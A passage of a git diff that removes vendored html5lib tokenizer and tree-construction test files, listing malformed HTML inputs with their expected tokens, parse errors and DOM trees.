-"output":[["Character","\nx\n>\n"]]}
-
-]}
-
-
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test3.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test3.test
deleted file mode 100644
index 92036187..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test3.test
+++ /dev/null
@@ -1,367 +0,0 @@
-{"tests": [
-
-{"description":"<",
-"input":"<",
-"output":["ParseError", ["Character", "<"]]},
-
-{"description":"<>",
-"input":"<>",
-"output":["ParseError", ["Character", "<>"]]},
-
-{"description":"<!",
-"input":"<!",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!>",
-"input":"<!>",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!--",
-"input":"<!--",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!-->",
-"input":"<!-->",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!---",
-"input":"<!---",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!--->",
-"input":"<!--->",
-"output":["ParseError", ["Comment", ""]]},
-
-{"description":"<!---->",
-"input":"<!---->",
-"output":[["Comment", ""]]},
-
-{"description":"<!-----",
-"input":"<!-----",
-"output":["ParseError", "ParseError", ["Comment", "-"]]},
-
-{"description":"<!----.",
-"input":"<!----.",
-"output":["ParseError", "ParseError", ["Comment", "--."]]},
-
-{"description":"<!---?",
-"input":"<!---?",
-"output":["ParseError", ["Comment", "-?"]]},
-
-{"description":"<!--?-",
-"input":"<!--?-",
-"output":["ParseError", ["Comment", "?"]]},
-
-{"description":"<!--?--",
-"input":"<!--?--",
-"output":["ParseError", ["Comment", "?"]]},
-
-{"description":"<!--?-.",
-"input":"<!--?-.",
-"output":["ParseError", ["Comment", "?-."]]},
-
-{"description":"<!--?.",
-"input":"<!--?.",
-"output":["ParseError", ["Comment", "?."]]},
-
-{"description":"<?>",
-"input":"<?>",
-"output":["ParseError", ["Comment", "?"]]},
-
-{"description":"<??",
-"input":"<??",
-"output":["ParseError", ["Comment", "??"]]},
-
-{"description":"</",
-"input":"</",
-"output":["ParseError", ["Character", "</"]]},
-
-{"description":"</>",
-"input":"</>",
-"output":["ParseError"]},
-
-{"description":"</?",
-"input":"</?",
-"output":["ParseError", ["Comment", "?"]]},
-
-{"description":">",
-"input":">",
-"output":[["Character", ">"]]},
-
-{"description":"-",
-"input":"-",
-"output":[["Character", "-"]]},
-
-{"description":"?",
-"input":"?",
-"output":[["Character", "?"]]},
-
-{"description":"&",
-"input":"&",
-"output":[["Character", "&"]]},
-
-{"description":"&#",
-"input":"&#",
-"output":["ParseError", ["Character", "&#"]]},
-
-{"description":"&#9",
-"input":"&#9",
-"output":["ParseError", ["Character", "\t"]]},
-
-{"description":"<!doctype >",
-"input":"<!doctype >",
-"output":["ParseError", ["DOCTYPE", "", null, null, false]]},
-
-{"description":"<!doctype  ",
-"input":"<!doctype  ",
-"output":["ParseError", ["DOCTYPE", "", null, null, false]]},
-
-{"description":"<!doctype!>",
-"input":"<!doctype!>",
-"output":["ParseError", ["DOCTYPE", "!", null, null, true]]},
-
-{"description":"<!doctype! >",
-"input":"<!doctype! >",
-"output":["ParseError", ["DOCTYPE", "!", null, null, true]]},
-
-{"description":"<!doctype!  ",
-"input":"<!doctype!  ",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! ?>",
-"input":"<!doctype! ?>",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! ??",
-"input":"<!doctype! ??",
-"output":["ParseError", "ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype!?",
-"input":"<!doctype!?",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!?", null, null, false]]},
-
-{"description":"<!doctype! public>",
-"input":"<!doctype! public>",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! public ",
-"input":"<!doctype! public ",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! public?",
-"input":"<!doctype! public?",
-"output":["ParseError", "ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! public''",
-"input":"<!doctype! public''",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "", null, false]]},
-
-{"description":"<!doctype! public'(",
-"input":"<!doctype! public'(",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "(", null, false]]},
-
-{"description":"<!doctype! public\"\">",
-"input":"<!doctype! public\"\">",
-"output":["ParseError", ["DOCTYPE", "!", "", null, true]]},
-
-{"description":"<!doctype! public\"\" ",
-"input":"<!doctype! public\"\" ",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "", null, false]]},
-
-{"description":"<!doctype! public\"\"?",
-"input":"<!doctype! public\"\"?",
-"output":["ParseError", "ParseError", "ParseError", ["DOCTYPE", "!", "", null, false]]},
-
-{"description":"<!doctype! public\"\"'",
-"input":"<!doctype! public\"\"'",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "", "", false]]},
-
-{"description":"<!doctype! public\"\"\"",
-"input":"<!doctype! public\"\"\"",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "", "", false]]},
-
-{"description":"<!doctype! public\"#",
-"input":"<!doctype! public\"#",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", "#", null, false]]},
-
-{"description":"<!doctype! system>",
-"input":"<!doctype! system>",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! system ",
-"input":"<!doctype! system ",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! system?",
-"input":"<!doctype! system?",
-"output":["ParseError", "ParseError", "ParseError", ["DOCTYPE", "!", null, null, false]]},
-
-{"description":"<!doctype! system''",
-"input":"<!doctype! system''",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, "", false]]},
-
-{"description":"<!doctype! system'(",
-"input":"<!doctype! system'(",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, "(", false]]},
-
-{"description":"<!doctype! system\"\">",
-"input":"<!doctype! system\"\">",
-"output":["ParseError", ["DOCTYPE", "!", null, "", true]]},
-
-{"description":"<!doctype! system\"\" ",
-"input":"<!doctype! system\"\" ",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, "", false]]},
-
-{"description":"<!doctype! system\"\"?",
-"input":"<!doctype! system\"\"?",
-"output":["ParseError", "ParseError", "ParseError", ["DOCTYPE", "!", null, "", false]]},
-
-{"description":"<!doctype! system\"#",
-"input":"<!doctype! system\"#",
-"output":["ParseError", "ParseError", ["DOCTYPE", "!", null, "#", false]]},
-
-{"description":"</z",
-"input":"</z",
-"output":["ParseError", ["EndTag", "z"]]},
-
-{"description":"<z>",
-"input":"<z>",
-"output":[["StartTag", "z", {}]]},
-
-{"description":"<z ",
-"input":"<z ",
-"output":["ParseError", ["StartTag", "z", {}]]},
-
-{"description":"<z/>",
-"input":"<z/>",
-"output":["ParseError", ["StartTag", "z", {}]]},
-
-{"description":"<z/ ",
-"input":"<z/ ",
-"output":["ParseError", "ParseError", ["StartTag", "z", {}]]},
-
-{"description":"<z//",
-"input":"<z//",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {}]]},
-
-{"description":"<z",
-"input":"<z",
-"output":["ParseError", ["StartTag", "z", {}]]},
-
-{"description":"</z",
-"input":"</z",
-"output":["ParseError", ["EndTag", "z"]]},
-
-{"description":"<z0",
-"input":"<z0",
-"output":["ParseError", ["StartTag", "z0", {}]]},
-
-{"description":"<z/0=>",
-"input":"<z/0=>",
-"output":["ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0= ",
-"input":"<z/0= ",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0=?>",
-"input":"<z/0=?>",
-"output":["ParseError", ["StartTag", "z", {"0": "?"}]]},
-
-{"description":"<z/0=? ",
-"input":"<z/0=? ",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "?"}]]},
-
-{"description":"<z/0=??",
-"input":"<z/0=??",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "??"}]]},
-
-{"description":"<z/0=''",
-"input":"<z/0=''",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0='&",
-"input":"<z/0='&",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "&"}]]},
-
-{"description":"<z/0='%",
-"input":"<z/0='%",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "%"}]]},
-
-{"description":"<z/0=\"'",
-"input":"<z/0=\"'",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "'"}]]},
-
-{"description":"<z/0=\"\"",
-"input":"<z/0=\"\"",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0=\"&",
-"input":"<z/0=\"&",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "&"}]]},
-
-{"description":"<z/0=&",
-"input":"<z/0=&",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "&"}]]},
-
-{"description":"<z/0>",
-"input":"<z/0>",
-"output":["ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0 =",
-"input":"<z/0 =",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0 >",
-"input":"<z/0 >",
-"output":["ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0  ",
-"input":"<z/0  ",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0 /",
-"input":"<z/0 /",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0/",
-"input":"<z/0/",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/00",
-"input":"<z/00",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"00": ""}]]},
-
-{"description":"<z/0 0",
-"input":"<z/0 0",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": ""}]]},
-
-{"description":"<z/0='&#9",
-"input":"<z/0='&#9",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": "\t"}]]},
-
-{"description":"<z/0=\"&#9",
-"input":"<z/0=\"&#9",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": "\t"}]]},
-
-{"description":"<z/0=&#9",
-"input":"<z/0=&#9",
-"output":["ParseError", "ParseError", "ParseError", ["StartTag", "z", {"0": "\t"}]]},
-
-{"description":"<z/0z",
-"input":"<z/0z",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0z": ""}]]},
-
-{"description":"<z/0 z",
-"input":"<z/0 z",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "", "z": ""}]]},
-
-{"description":"<zz",
-"input":"<zz",
-"output":["ParseError", ["StartTag", "zz", {}]]},
-
-{"description":"<z/z",
-"input":"<z/z",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"z": ""}]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test4.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test4.test
deleted file mode 100644
index 16d8fa9a..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/test4.test
+++ /dev/null
@@ -1,198 +0,0 @@
-{"tests": [
-
-{"description":"< in attribute name",
-"input":"<z/0  <",
-"output":["ParseError", "ParseError", ["StartTag", "z", {"0": "", "<": ""}]]},
-
-{"description":"< in attribute value",
-"input":"<z x=<",
-"output":["ParseError", ["StartTag", "z", {"x": "<"}]]},
-
-{"description":"CR EOF after doctype name",
-"input":"<!doctype html \r",
-"output":["ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"CR EOF in tag name",
-"input":"<z\r",
-"output":["ParseError", ["StartTag", "z", {}]]},
-
-{"description":"Zero hex numeric entity",
-"input":"&#x0",
-"output":["ParseError", "ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Zero decimal numeric entity",
-"input":"&#0",
-"output":["ParseError", "ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Zero-prefixed hex numeric entity",
-"input":"&#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041;",
-"output":[["Character", "A"]]},
-
-{"description":"Zero-prefixed decimal numeric entity",
-"input":"&#000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065;",
-"output":[["Character", "A"]]},
-
-{"description":"Empty hex numeric entities",
-"input":"&#x &#X ",
-"output":["ParseError", ["Character", "&#x "], "ParseError", ["Character", "&#X "]]},
-
-{"description":"Empty decimal numeric entities",
-"input":"&# &#; ",
-"output":["ParseError", ["Character", "&# "], "ParseError", ["Character", "&#; "]]},
-
-{"description":"Non-BMP numeric entity",
-"input":"&#x10000;",
-"output":[["Character", "\uD800\uDC00"]]},
-
-{"description":"Maximum non-BMP numeric entity",
-"input":"&#X10FFFF;",
-"output":[["Character", "\uDBFF\uDFFF"]]},
-
-{"description":"Above maximum numeric entity",
-"input":"&#x110000;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"32-bit hex numeric entity",
-"input":"&#x80000041;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"33-bit hex numeric entity",
-"input":"&#x100000041;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"33-bit decimal numeric entity",
-"input":"&#4294967361;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"65-bit hex numeric entity",
-"input":"&#x10000000000000041;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"65-bit decimal numeric entity",
-"input":"&#18446744073709551681;",
-"output":["ParseError", ["Character", "\uFFFD"]]},
-
-{"description":"Surrogate code point edge cases",
-"input":"&#xD7FF;&#xD800;&#xD801;&#xDFFE;&#xDFFF;&#xE000;",
-"output":[["Character", "\uD7FF"], "ParseError", ["Character", "\uFFFD"], "ParseError", ["Character", "\uFFFD"], "ParseError", ["Character", "\uFFFD"], "ParseError", ["Character", "\uFFFD\uE000"]]},
-
-{"description":"Uppercase start tag name",
-"input":"<X>",
-"output":[["StartTag", "x", {}]]},
-
-{"description":"Uppercase end tag name",
-"input":"</X>",
-"output":[["EndTag", "x"]]},
-
-{"description":"Uppercase attribute name",
-"input":"<x X>",
-"output":[["StartTag", "x", { "x":"" }]]},
-
-{"description":"Tag/attribute name case edge values",
-"input":"<x@AZ[`az{ @AZ[`az{>",
-"output":[["StartTag", "x@az[`az{", { "@az[`az{":"" }]]},
-
-{"description":"Duplicate different-case attributes",
-"input":"<x x=1 x=2 X=3>",
-"output":["ParseError", "ParseError", ["StartTag", "x", { "x":"1" }]]},
-
-{"description":"Uppercase close tag attributes",
-"input":"</x X>",
-"output":["ParseError", ["EndTag", "x"]]},
-
-{"description":"Duplicate close tag attributes",
-"input":"</x x x>",
-"output":["ParseError", "ParseError", ["EndTag", "x"]]},
-
-{"description":"Permitted slash",
-"input":"<br/>",
-"output":[["StartTag", "br", {}]]},
-
-{"description":"Non-permitted slash",
-"input":"<xr/>",
-"output":["ParseError", ["StartTag", "xr", {}]]},
-
-{"description":"Permitted slash but in close tag",
-"input":"</br/>",
-"output":["ParseError", ["EndTag", "br"]]},
-
-{"description":"Doctype public case-sensitivity (1)",
-"input":"<!DoCtYpE HtMl PuBlIc \"AbC\" \"XyZ\">",
-"output":[["DOCTYPE", "HtMl", "AbC", "XyZ", true]]},
-
-{"description":"Doctype public case-sensitivity (2)",
-"input":"<!dOcTyPe hTmL pUbLiC \"aBc\" \"xYz\">",
-"output":[["DOCTYPE", "hTmL", "aBc", "xYz", true]]},
-
-{"description":"Doctype system case-sensitivity (1)",
-"input":"<!DoCtYpE HtMl SyStEm \"XyZ\">",
-"output":[["DOCTYPE", "HtMl", null, "XyZ", true]]},
-
-{"description":"Doctype system case-sensitivity (2)",
-"input":"<!dOcTyPe hTmL sYsTeM \"xYz\">",
-"output":[["DOCTYPE", "hTmL", null, "xYz", true]]},
-
-{"description":"U+0000 in lookahead region after non-matching character",
-"input":"<!doc>\u0000",
-"output":["ParseError", ["Comment", "doc"], "ParseError", ["Character", "\uFFFD"]],
-"ignoreErrorOrder":true},
-
-{"description":"U+0000 in lookahead region",
-"input":"<!doc\u0000",
-"output":["ParseError", "ParseError", ["Comment", "doc\uFFFD"]],
-"ignoreErrorOrder":true},
-
-{"description":"CR followed by U+0000",
-"input":"\r\u0000",
-"output":["ParseError", ["Character", "\n\uFFFD"]],
-"ignoreErrorOrder":true},
-
-{"description":"CR followed by non-LF",
-"input":"\r?",
-"output":[["Character", "\n?"]]},
-
-{"description":"CR at EOF",
-"input":"\r",
-"output":[["Character", "\n"]]},
-
-{"description":"LF at EOF",
-"input":"\n",
-"output":[["Character", "\n"]]},
-
-{"description":"CR LF",
-"input":"\r\n",
-"output":[["Character", "\n"]]},
-
-{"description":"CR CR",
-"input":"\r\r",
-"output":[["Character", "\n\n"]]},
-
-{"description":"LF LF",
-"input":"\n\n",
-"output":[["Character", "\n\n"]]},
-
-{"description":"LF CR",
-"input":"\n\r",
-"output":[["Character", "\n\n"]]},
-
-{"description":"text CR CR CR text",
-"input":"text\r\r\rtext",
-"output":[["Character", "text\n\n\ntext"]]},
-
-{"description":"Doctype publik",
-"input":"<!DOCTYPE html PUBLIK \"AbC\" \"XyZ\">",
-"output":["ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"Doctype publi",
-"input":"<!DOCTYPE html PUBLI",
-"output":["ParseError", "ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"Doctype sistem",
-"input":"<!DOCTYPE html SISTEM \"AbC\">",
-"output":["ParseError", ["DOCTYPE", "html", null, null, false]]},
-
-{"description":"Doctype sys",
-"input":"<!DOCTYPE html SYS",
-"output":["ParseError", "ParseError", ["DOCTYPE", "html", null, null, false]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests1.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests1.dat
deleted file mode 100644
index 628bff68..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests1.dat
+++ /dev/null
@@ -1,1950 +0,0 @@
-#data
-Test
-#errors
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "Test"
-
-#data
-<p>One<p>Two
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       "One"
-|     <p>
-|       "Two"
-
-#data
-Line1<br>Line2<br>Line3<br>Line4
-#errors
-Line: 1 Col: 5 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "Line1"
-|     <br>
-|     "Line2"
-|     <br>
-|     "Line3"
-|     <br>
-|     "Line4"
-
-#data
-<html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<head>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<body>
-#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head></head>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head></head><body>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head></head><body></body>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head><body></body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head></body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><head><body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<html><body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<head></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-</head>
-#errors
-Line: 1 Col: 7 Unexpected end tag (head). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-</body>
-#errors
-Line: 1 Col: 7 Unexpected end tag (body). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-</html>
-#errors
-Line: 1 Col: 7 Unexpected end tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<b><table><td><i></table>
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 25 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <i>
-
-#data
-<b><table><td></b><i></table>X
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 18 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 30 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <i>
-|       "X"
-
-#data
-<h1>Hello<h2>World
-#errors
-Line: 1 Col: 4 Unexpected start tag (h1). Expected DOCTYPE.
-Line: 1 Col: 18 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <h1>
-|       "Hello"
-|       <h2>
-|         "World"
-
-#data
-<a><p>X<a>Y</a>Z</p></a>
-#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 10 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 24 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|     <p>
-|       <a>
-|         "X"
-|       <a>
-|         "Y"
-|       "Z"
-
-#data
-<b><button></b></button></b>
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <button>
-
-#data
-<p><b><div><marquee></p></b></div>X
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-Line: 1 Col: 24 Unexpected end tag (p). Ignored.
-Line: 1 Col: 28 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 34 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       <b>
-|     <div>
-|       <b>
-|         <marquee>
-|           <p>
-|           "X"
-
-#data
-<script><div></script></div><title><p></title><p><p>
-#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 28 Unexpected end tag (div). Ignored.
-#document
-| <html>
-|   <head>
-|     <script>
-|       "<div>"
-|     <title>
-|       "<p>"
-|   <body>
-|     <p>
-|     <p>
-
-#data
-<!--><div>--<!-->
-#errors
-Line: 1 Col: 5 Incorrect comment.
-Line: 1 Col: 10 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 17 Incorrect comment.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
-#document
-| <!--  -->
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       "--"
-|       <!--  -->
-
-#data
-<p><hr></p>
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <hr>
-|     <p>
-
-#data
-<select><b><option><select><option></b></select>X
-#errors
-Line: 1 Col: 8 Unexpected start tag (select). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected start tag token (b) in the select phase. Ignored.
-Line: 1 Col: 27 Unexpected select start tag in the select phase implies select start tag.
-Line: 1 Col: 35 Unexpected start tag option. Ignored.
-Line: 1 Col: 39 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 48 Unexpected end tag (select). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <option>
-|     "X"
-
-#data
-<a><table><td><a><table></table><a></tr><a></table><b>X</b>C<a>Y
-#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 40 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 43 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 43 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 43 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 51 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 63 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 64 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       <a>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <a>
-|                 <table>
-|               <a>
-|     <a>
-|       <b>
-|         "X"
-|       "C"
-|     <a>
-|       "Y"
-
-#data
-<a X>0<b>1<a Y>2
-#errors
-Line: 1 Col: 5 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 15 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       x=""
-|       "0"
-|       <b>
-|         "1"
-|     <b>
-|       <a>
-|         y=""
-|         "2"
-
-#data
-<!-----><font><div>hello<table>excite!<b>me!<th><i>please!</tr><!--X-->
-#errors
-Line: 1 Col: 7 Unexpected '-' after '--' found in comment.
-Line: 1 Col: 14 Unexpected start tag (font). Expected DOCTYPE.
-Line: 1 Col: 38 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 41 Unexpected start tag (b) in table context caused voodoo mode.
-Line: 1 Col: 44 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 48 Unexpected implied end tag (b) in the table phase.
-Line: 1 Col: 48 Unexpected table cell start tag (th) in the table body phase.
-Line: 1 Col: 63 Got table cell end tag (th) while required end tags are missing.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
-#document
-| <!-- - -->
-| <html>
-|   <head>
-|   <body>
-|     <font>
-|       <div>
-|         "helloexcite!"
-|         <b>
-|           "me!"
-|         <table>
-|           <tbody>
-|             <tr>
-|               <th>
-|                 <i>
-|                   "please!"
-|             <!-- X -->
-
-#data
-<!DOCTYPE HTML><li>hello<li>world<ul>how<li>do</ul>you</body><!--do-->
-#errors
-Line: 1 Col: 61 Unexpected end tag (li). Missing end tag (body).
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <li>
-|       "hello"
-|     <li>
-|       "world"
-|       <ul>
-|         "how"
-|         <li>
-|           "do"
-|       "you"
-|   <!-- do -->
-
-#data
-<!DOCTYPE HTML>A<option>B<optgroup>C<select>D</option>E
-#errors
-Line: 1 Col: 24 Unexpected start tag option. Ignored.
-Line: 1 Col: 35 Unexpected start tag optgroup. Ignored.
-Line: 1 Col: 54 Unexpected end tag (option) in the select phase. Ignored.
-Line: 1 Col: 55 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "ABC"
-|     <select>
-|       "DE"
-
-#data
-<
-#errors
-Line: 1 Col: 1 Expected tag name. Got something else instead
